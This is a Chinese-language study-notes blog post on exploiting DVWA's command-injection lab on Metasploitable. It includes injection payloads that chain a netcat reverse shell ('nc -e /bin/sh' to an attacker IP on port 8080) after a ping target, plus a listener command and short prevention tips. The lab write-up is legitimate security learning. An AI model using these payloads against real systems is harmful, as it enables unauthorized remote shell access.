Metasploitable 學習筆記-DVWA Command injection 命令注入攻擊與 Reverse Shell
--
這是一篇系列文,有關看一些不同的Metasploitable介紹與教學的練習紀錄
- https://kuronetwork.me/posts/metasploitable/
- Metasploitable 學習筆記-DVWA文件上傳漏洞( file upload) & Reverse Shell
- Metasploitable 學習筆記-DVWA Command injection 命令注入攻擊與 Reverse Shell
- Metasploitable 學習筆記-DVWA LFI( Local File inclusion )/RFI (Remote File Inclusion)& Reverse Shell
- Metasploitable 學習筆記-XSS Vulnerability : BeEF 瀏覽器攻擊與社交工程欺騙
什麼是Command injection
根據OWASP解釋:
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell.
簡單說就是透過主機系統上的程序執行任意命令
指令
常見的指令有幾個
- ;能夠直接執行第二個命令
- && 第一個指令成功後執行第二個
- || 第一個指令失敗後執行第二個
Low 等級
執行ping與ls看看,先使用ping 8.8.8.8與; 嘗試執行指令
Reverse Shell
看來我們的command execution成功了,試著Revsrse看看
- 使用nc 監聽(Netcat)
nc -vv -l -p 8080
nc [詳細輸出] [監聽] [port] 8080
- 使用bin sh或bin bash
nc -e /bin/sh [ip] 8080
執行Reverse Shell
- 在Kali執行nc -vv -l -p 8080
- 在網頁執行nc -e /bin/sh [ip] 8080
- 執行指令
nc -vv -l -p 8080
8.8.8.8;nc -e /bin/sh 192.168.40.128 8080
Medium 等級
使用 | 指令
| : 第一個命令的輸出當作下一個命令的輸入
參考教學:
# cat /etc/passwd | grep /bin/bash | wc -l
利用第一个管道将cat命令(显示passwd文件的内容)的输出送给grep命令,grep命令找出含有“/bin /bash”的所有行;第二个管道将grep的输出送给wc命令,wc命令统计出输入中的行数。这个命令的功能在于找出系统中有多少个用户使用bash。
執行命令
8.8.8.8 | nc -e /bin/sh 192.168.40.128 8080
High等級
高級部分應該bypass不了(或是我解不開),我們點選View Source Code看一下內容:
// Split the IP into 4 octects
$octet = explode(“.”, $target);
這段程式碼將IP給拆開處理,例如:
255.255.255.255 --- [255, 255, 255, 255]
// Check IF each octet is an integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {
當我們用指令或空白時候跳到這段如果不是數字就會出錯,確保每個輸入不會有其他的字串之類
預防
- 不要讓使用者用危險的指令
- 正規表達式過濾處理
之後會繼續寫這系列有關的筆記,之後會做個目錄表列一下各個主題的網址方便搜尋與瀏覽。
https://medium.com/blacksecurity/tagged/ctf
若您喜歡我的文章,歡迎按下「拍手」與Liker按讚給我支持並轉發給你的朋友們(可以多拍幾下手喔),或是「Follow」我,讓我提供文章給您。
Facebook 粉絲專頁 剛開始建立經營 不會洗版(沒有時間) !!包含資安與投資的資訊,歡迎追蹤我並分享。
也歡迎繼續閱讀:
網路安全封包分析:Wireshark 快速判斷IP位置並找出可疑程式 — 使用GeoLite2
CTF Write-up 滲透測試系列
https://medium.com/blacksecurity/tagged/ctf